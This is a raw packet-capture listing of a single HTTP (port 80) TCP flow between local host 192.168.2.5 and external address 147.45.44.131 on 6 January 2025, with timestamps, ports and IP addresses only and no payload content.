Jan 6, 2025 07:59:04.003110886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003119946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003129959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003144026 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003144979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003159046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003159046 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003169060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003180027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003189087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003190041 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003209114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003211021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003220081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003238916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003249884 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003258944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003272057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003274918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003283024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003292084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003303051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003304005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003320932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003331900 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003335953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003346920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003351927 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003357887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003376007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003377914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003392935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003405094 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003410101 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003415108 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003427029 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003436089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003446102 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003453016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003463030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003473997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003473997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003484011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003490925 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003494978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003506899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003511906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003516912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003535986 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003549099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003556967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003560066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003570080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003580093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003596067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003599882 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003606081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003618002 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003619909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003632069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003637075 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003643990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003654003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003664017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003671885 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003679991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003690958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003700972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003700972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003710985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003711939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003721952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003731966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003740072 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003742933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003757000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003767967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003772020 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003779888 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003808022 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003820896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003830910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003840923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003851891 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003859997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003870964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003880024 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003880978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003891945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003902912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003904104 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003912926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003926039 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003935099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003938913 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003945112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003957033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003963947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003973007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003983021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003985882 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003993034 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003995895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004005909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004015923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004017115 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.004029036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004038095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004040956 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.004056931 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.004095078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004105091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004113913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004125118 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.004126072 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004136086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004147053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004148006 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.004158020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004162073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.004169941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.004184008 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.005615950 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.046627998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046652079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046663046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046679020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046689987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046699047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046711922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.046724081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.046770096 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.092849016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092878103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092904091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092919111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092937946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092950106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092962027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092962980 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.092978001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.092992067 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.092997074 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093003988 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093009949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093024015 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093027115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093038082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093050957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093058109 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093060970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093072891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093082905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093094110 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093096972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093107939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093113899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093118906 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093130112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093138933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093141079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093152046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093168974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093170881 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093189001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093193054 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093199015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093218088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093236923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093241930 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093246937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093250036 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093267918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093280077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093288898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093291044 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093302011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093307018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093312979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093318939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093324900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093327999 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093331099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093358040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093368053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093386889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093393087 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093405008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093415976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093425035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093426943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093446016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093456984 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093460083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093471050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093482971 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093493938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093499899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093506098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093509912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093527079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093528032 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093538046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093548059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093554974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093560934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093570948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093607903 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093796968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093816042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093832016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093849897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093857050 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093861103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093871117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093878984 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093882084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093907118 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093910933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093916893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093928099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093938112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093944073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093949080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093960047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093961000 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.093977928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.093988895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094000101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094001055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094011068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094019890 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094023943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094034910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094038963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094058037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094063044 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094069004 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094086885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094099045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094108105 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094110012 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094120026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094131947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094141960 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094142914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094155073 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094163895 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094172001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094185114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094186068 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094196081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094208002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094218969 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094219923 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094229937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094243050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094248056 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094255924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094263077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094268084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094278097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094285011 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094289064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094300985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094305992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094322920 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094325066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094336033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094347000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094358921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094367981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094371080 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094379902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094399929 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094399929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094410896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094418049 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094423056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094435930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094443083 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094446898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094459057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094469070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094472885 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094481945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094495058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094506979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094513893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094526052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094537973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094543934 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094563961 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.094950914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094961882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094979048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.094991922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.095000982 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.095001936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.095014095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.095021963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.095026016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.095051050 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.095073938 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.095082045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.095093966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.095129967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.146771908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146794081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146805048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146816015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146827936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146837950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146850109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146856070 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.146861076 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.146882057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.146905899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.183178902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183209896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183221102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183248043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183259964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183270931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183283091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183290958 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.183295012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183307886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183325052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.183336973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183343887 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.183355093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183365107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183372974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.183377981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183391094 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183398962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.183403015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183425903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.183425903 CET	49706	80	192.168.2.5	147.45.44.131
